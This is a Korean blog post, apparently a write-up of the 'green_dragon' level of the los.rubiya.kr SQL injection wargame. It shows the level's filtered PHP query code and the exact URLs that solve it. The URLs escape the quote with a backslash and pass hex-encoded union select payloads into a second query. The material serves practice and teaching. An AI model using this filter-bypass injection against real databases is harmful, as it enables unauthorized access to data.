웹찢남

green_dragon-writeup 본문

WEB_HACKING/los.rubiya.kr

green_dragon-writeup

harry595 2020. 1. 29. 21:31

<?php
  
include "./config.php";
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\.|\'|\"/i'$_GET[id])) exit("No Hack ~_~");
  if(
preg_match('/prob|_|\.|\'|\"/i'$_GET[pw])) exit("No Hack ~_~");
  
$query "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['id']){
    if(
preg_match('/prob|_|\.|\'|\"/i'$result['id'])) exit("No Hack ~_~");
    if(
preg_match('/prob|_|\.|\'|\"/i'$result['pw'])) exit("No Hack ~_~");
    
$query2 "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo 
"<hr>query2 : <strong>{$query2}</strong><hr><br>";
    
$result mysqli_fetch_array(mysqli_query($db,$query2));
    if(
$result['id'] == "admin"solve("green_dragon");
  }
  
highlight_file(__FILE__);
?>

 

처음엔 아래와 같이 쿼리를 날려봤는데 반응이 없었다

https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=\&pw=union%20select%20id=0x61646d696e%23

 

그래서 생각 해본 결과 테이블에 값이 없엇던거 같다 그래서 아래와 같이 쿼리를 날리니 query2가 동작을 했다.

https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=\&pw=union%20select%201,2%23  

 

위와 같이 쿼리를 날리면 실제로 실행되는 부분인 query2가 다음과 같이 나오는데

 

query2 : select id from prob_green_dragon where id='1' and pw='2'

 

id에는 \가, pw에는 union select 0x61646d696e# 이 들어가야하므로 hex converter을 사용하면

 

https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=\&pw=union%20select%200x5c,0x756e696f6e2073656c6563742030783631363436643639366523%23

 

이런 url이 나온다.

CLEAR!!!

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

blue_dragon-writeup  (0) 2020.01.29
red_dragon-writeup  (0) 2020.01.29
evil_wizard-writeup  (0) 2020.01.29
hell_fire-writeup  (0) 2020.01.29
dark_eyes-writeup  (0) 2020.01.29
Comments